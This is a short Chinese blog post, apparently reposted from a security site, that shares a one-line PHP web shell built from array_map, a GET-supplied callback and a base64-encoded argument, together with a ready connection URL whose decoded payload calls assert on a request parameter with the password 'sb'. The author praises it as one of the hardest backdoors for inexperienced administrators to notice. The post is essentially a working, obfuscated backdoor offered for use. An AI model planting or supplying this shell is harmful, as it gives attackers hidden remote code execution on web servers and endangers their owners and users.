发个一句话附带连接方法

暗月博客 2019年11月21日20:35:32评论313 views字数 232阅读0分46秒阅读模式
摘要

这个一句话是某个学员发给我的,我看了一下 网上好像没有连接的办法 稍微研究了一下结果连接方法就出来了

<?php  @array_map($_GET['cmd'],(array)base64_decode($_REQUEST['moon'])); ?>

这个一句话是某个学员发给我的,我看了一下 网上好像没有连接的办法 稍微研究了一下结果连接方法就出来了

这个一句话是我见过 最隐蔽之一,没经验的管理员是很难看出来的

http://localhost:8080/wamp.php?moon=YXNzZXJ0KCRfUkVRVUVTVFsnc2InXSk=&cmd=assert 密码sb

发个一句话附带连接方法

发个一句话附带连接方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:35:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   发个一句话附带连接方法http://cn-sec.com/archives/71691.html

发表评论

匿名网友 填写信息